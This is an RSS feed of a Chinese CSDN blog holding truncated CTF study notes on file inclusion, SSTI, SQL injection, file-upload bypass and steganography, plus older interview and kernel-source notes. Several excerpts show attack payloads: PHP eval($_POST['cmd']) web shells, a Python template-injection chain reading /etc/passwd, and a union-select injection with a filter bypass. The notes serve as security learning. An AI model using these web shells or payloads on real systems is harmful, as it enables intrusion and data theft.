<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[pmt123456的博客]]></title><description><![CDATA[]]></description><link>https://blog.csdn.net/pmt123456</link><language>zh-cn</language><generator>https://blog.csdn.net/</generator><copyright><![CDATA[Copyright &copy; pmt123456]]></copyright><item><title><![CDATA[文件包含漏洞]]></title><link>https://blog.csdn.net/pmt123456/article/details/110383271</link><guid>https://blog.csdn.net/pmt123456/article/details/110383271</guid><author>pmt123456</author><pubDate>Mon, 30 Nov 2020 11:42:23 +0800</pubDate><description><![CDATA[本地包含与远程包含

本地文件包含漏洞（LFI漏洞）

详解php文件包含原理（读取文件源码、图片马、各种协议、远程getshell等）
]]></description><category></category></item><item><title><![CDATA[WEB杂七杂八]]></title><link>https://blog.csdn.net/pmt123456/article/details/109765097</link><guid>https://blog.csdn.net/pmt123456/article/details/109765097</guid><author>pmt123456</author><pubDate>Wed, 18 Nov 2020 10:03:56 +0800</pubDate><description><![CDATA[1、php curl

题目：Cat

题解：攻防世界-web-Cat(XCTF 4th-WHCTF-2017)

key：

  1、根据Django的目录，我们使用@进行文件传递，对文件进行读取之后还会把内容传给url参数，如果像上面一样有超出解析范围的编码的时候就会得到错误信息。

  2、在报错信息中搜索DATABASE，就可找到数据库的绝对路径。

  3、其他：

BASE_DIR
			
			
'/opt/api'
			
		...]]></description><category></category></item><item><title><![CDATA[服务端模板注入攻击 （SSTI）]]></title><link>https://blog.csdn.net/pmt123456/article/details/109742811</link><guid>https://blog.csdn.net/pmt123456/article/details/109742811</guid><author>pmt123456</author><pubDate>Tue, 17 Nov 2020 15:04:40 +0800</pubDate><description><![CDATA[1、题目：Web_python_template_injection

从零学习flask模板注入

关于python魔术方法payload："".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 的解释

题解1：CTF引出对Python模板注入的思考


#找到os模块
#有两个
#我们要找的是第71个&lt;class 'site._Printer'&gt;
num = 0
for n in ''.__class__.__m]]></description><category></category></item><item><title><![CDATA[php积累]]></title><link>https://blog.csdn.net/pmt123456/article/details/109215324</link><guid>https://blog.csdn.net/pmt123456/article/details/109215324</guid><author>pmt123456</author><pubDate>Thu, 22 Oct 2020 09:36:16 +0800</pubDate><description><![CDATA[1、PHP弱类型比较

题目simple_php


﻿&lt;?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b&gt;1234){
    echo $flag2;
}
?&gt;



php中其中两种比较符号:
==：先将字符串类型转化]]></description><category></category></item><item><title><![CDATA[python小积累]]></title><link>https://blog.csdn.net/pmt123456/article/details/109163729</link><guid>https://blog.csdn.net/pmt123456/article/details/109163729</guid><author>pmt123456</author><pubDate>Mon, 19 Oct 2020 16:42:03 +0800</pubDate><description><![CDATA[Reverse-it


#读取文件，逆转，然后保存成图片
#注意hex和str的转换
#字符串逆转的3种方法https://www.cnblogs.com/fengff/p/10367136.html
if __name__ == '__main__':
    filename = "C:/Users/Administrator/Desktop/tmp/0da9641b7aad4efb8f7eb45f47eaebb2"
    file = open(filename, 'rb')
    str = ]]></description><category></category></item><item><title><![CDATA[Linux命令积累]]></title><link>https://blog.csdn.net/pmt123456/article/details/109158756</link><guid>https://blog.csdn.net/pmt123456/article/details/109158756</guid><author>pmt123456</author><pubDate>Mon, 19 Oct 2020 12:56:19 +0800</pubDate><description><![CDATA[1、git stash 用法总结和注意点

2、


]]></description><category></category></item><item><title><![CDATA[Misc-隐写（二）]]></title><link>https://blog.csdn.net/pmt123456/article/details/109130762</link><guid>https://blog.csdn.net/pmt123456/article/details/109130762</guid><author>pmt123456</author><pubDate>Sat, 17 Oct 2020 11:37:28 +0800</pubDate><description><![CDATA[1、Base64隐写


import base64

#开始在网上找了一个将int转换为固定位数的二进制的函数，后来参考了别人的用zfill()
def int2bin(n, count=24):
    return "".join([str((n &gt;&gt; y) &amp; 1) for y in range(count-1, -1, -1)])

if __name__ == '__main__':
    b64dict = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcde]]></description><category></category></item><item><title><![CDATA[文件包涵漏洞]]></title><link>https://blog.csdn.net/pmt123456/article/details/108909515</link><guid>https://blog.csdn.net/pmt123456/article/details/108909515</guid><author>pmt123456</author><pubDate>Sat, 03 Oct 2020 13:14:50 +0800</pubDate><description><![CDATA[https://www.jianshu.com/p/3514f0fd79f7

例题：“百度杯”CTF比赛 2017 二月场include


注意
1.
&lt;?php echo system('cat dle345aae.php');?&gt;
和
2.
&lt;?php echo `cat dle345aae.php`;?&gt;
的区别


]]></description><category></category></item><item><title><![CDATA[sql注入]]></title><link>https://blog.csdn.net/pmt123456/article/details/108902962</link><guid>https://blog.csdn.net/pmt123456/article/details/108902962</guid><author>pmt123456</author><pubDate>Fri, 02 Oct 2020 16:55:31 +0800</pubDate><description><![CDATA[1.基本步骤

https://www.jianshu.com/p/078df7a35671

例题：“百度杯”CTF比赛 九月场SQL

tips:用&lt;&gt;绕过敏感词过滤


1.得到数据库名称为sqli
http://e14891ee716b434e845d5375b2b206ca6876877f00be47e0.changame.ichunqiu.com/index.php?id=1 union sele&lt;&gt;ct 1,database(),3 


2.得到表明为info
htt]]></description><category></category></item><item><title><![CDATA[Misc-隐写]]></title><link>https://blog.csdn.net/pmt123456/article/details/108899824</link><guid>https://blog.csdn.net/pmt123456/article/details/108899824</guid><author>pmt123456</author><pubDate>Fri, 02 Oct 2020 09:26:23 +0800</pubDate><description><![CDATA[https://www.cnblogs.com/-chenxs/p/11493898.html
]]></description><category></category></item><item><title><![CDATA[ctf加密总结]]></title><link>https://blog.csdn.net/pmt123456/article/details/108897177</link><guid>https://blog.csdn.net/pmt123456/article/details/108897177</guid><author>pmt123456</author><pubDate>Thu, 01 Oct 2020 21:02:53 +0800</pubDate><description><![CDATA[https://blog.csdn.net/qq_40836553/article/details/79383488

https://blog.csdn.net/qq_41187256/article/details/79693012?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param&amp;depth_1-utm_source=distribute.pc_rel]]></description><category></category></item><item><title><![CDATA[文件上传绕过总结]]></title><link>https://blog.csdn.net/pmt123456/article/details/108895924</link><guid>https://blog.csdn.net/pmt123456/article/details/108895924</guid><author>pmt123456</author><pubDate>Thu, 01 Oct 2020 17:10:36 +0800</pubDate><description><![CDATA[总结

参考例题：“百度杯”CTF比赛 九月场Upload

1.头部&lt;?php 绕过

2.文件后缀.php绕过

1.php标记的几种风格


1.
&lt;?php
eval($_POST['cmd']); 
 ?&gt;

2.&lt;script language="php"&gt;
    eval($_POST['cmd']);
&lt;/script&gt;

3.
&lt;? 
    eval($_POST['cmd']);
?&gt;

4.
&lt;% 
    eval($_]]></description><category></category></item><item><title><![CDATA[测试/开放、智力]]></title><link>https://blog.csdn.net/pmt123456/article/details/78005523</link><guid>https://blog.csdn.net/pmt123456/article/details/78005523</guid><author>pmt123456</author><pubDate>Sat, 16 Sep 2017 18:32:08 +0800</pubDate><description><![CDATA[测试
1、测试一部电梯
功能测试—单个功能：
1、电梯内分楼层键是否正常
2、电梯内开关门键是否正常
3、电梯内的报警键是否正常使用
4、电梯外的上下键是否正常
5、同时关注显示屏，电梯内外的显示屏显示的电梯层数、运行方向是否正常
6、有障碍物时，电梯门的感应系统是否有效
功能测试—逻辑业务/功能交互
1、功能与功能模块间的集成，可根据电梯当前状态是上行、下行还是停止来设计测试]]></description><category></category></item><item><title><![CDATA[面试算法题]]></title><link>https://blog.csdn.net/pmt123456/article/details/77842848</link><guid>https://blog.csdn.net/pmt123456/article/details/77842848</guid><author>pmt123456</author><pubDate>Mon, 04 Sep 2017 22:31:56 +0800</pubDate><description><![CDATA[1、直方图矩形最大值

class Solution {
public:
    int largestRectangleArea(vector& heights) {
        int res = 0;
        stack s;
        heights.push_back(0);
        for (int i = 0; i < heights.size(); +]]></description><category></category></item><item><title><![CDATA[epoll源码分析(转)]]></title><link>https://blog.csdn.net/pmt123456/article/details/77814936</link><guid>https://blog.csdn.net/pmt123456/article/details/77814936</guid><author>pmt123456</author><pubDate>Sun, 03 Sep 2017 10:33:04 +0800</pubDate><description><![CDATA[链接：
poll&&epoll实现分析（二）——epoll实现



epoll源码实现分析[整理]
epoll源码分析(转)



epoll用法回顾
先简单回顾下如何使用C库封装的3个epoll相关的系统调用。更详细的用法参见http://www.cnblogs.com/apprentice89/archive/2013/05/06/3063039.html
int e]]></description><category></category></item><item><title><![CDATA[select\poll源码]]></title><link>https://blog.csdn.net/pmt123456/article/details/77803836</link><guid>https://blog.csdn.net/pmt123456/article/details/77803836</guid><author>pmt123456</author><pubDate>Sat, 02 Sep 2017 21:15:04 +0800</pubDate><description><![CDATA[参考：点击打开链接
/*
sys_select(fs/select.c)
处理了超时值（如果有）,将struct timeval转换成了时钟周期数,调用core_sys_select,然后检查剩余时间,处理时间
*/
asmlinkage long sys_select(int n, fd_set __user *inp, fd_set __user *outp,
						   fd_set]]></description><category></category></item><item><title><![CDATA[面试题]]></title><link>https://blog.csdn.net/pmt123456/article/details/77519640</link><guid>https://blog.csdn.net/pmt123456/article/details/77519640</guid><author>pmt123456</author><pubDate>Thu, 24 Aug 2017 12:17:19 +0800</pubDate><description><![CDATA[1、memset一个对象
     1、内存泄漏
     2、调用虚函数和dynamic_cast出现问题
2、阻塞read和非阻塞read]]></description><category></category></item><item><title><![CDATA[笔试题]]></title><link>https://blog.csdn.net/pmt123456/article/details/77427347</link><guid>https://blog.csdn.net/pmt123456/article/details/77427347</guid><author>pmt123456</author><pubDate>Sun, 20 Aug 2017 11:20:28 +0800</pubDate><description><![CDATA[五笔的字典序编码与解码
哈希表（等概率情况下）查找成功与查找不成功的平均查找长度]]></description><category></category></item><item><title><![CDATA[C++(2)]]></title><link>https://blog.csdn.net/pmt123456/article/details/77206509</link><guid>https://blog.csdn.net/pmt123456/article/details/77206509</guid><author>pmt123456</author><pubDate>Wed, 16 Aug 2017 07:31:49 +0800</pubDate><description><![CDATA[C++构造函数、析构函数与抛出异常]]></description><category></category></item><item><title><![CDATA[图的邻接表结构]]></title><link>https://blog.csdn.net/pmt123456/article/details/76638161</link><guid>https://blog.csdn.net/pmt123456/article/details/76638161</guid><author>pmt123456</author><pubDate>Thu, 03 Aug 2017 17:04:34 +0800</pubDate><description><![CDATA[class Graph
{
public:
	Graph();
	Graph(unsigned int vtxCount, unsigned int edgeCount);
	~Graph();
	void create(unsigned int vtxCount, unsigned int edgeCount); //给图的结点容器和边容器分配内存  
	int addVtx(); //添加空结]]></description><category></category></item></channel></rss>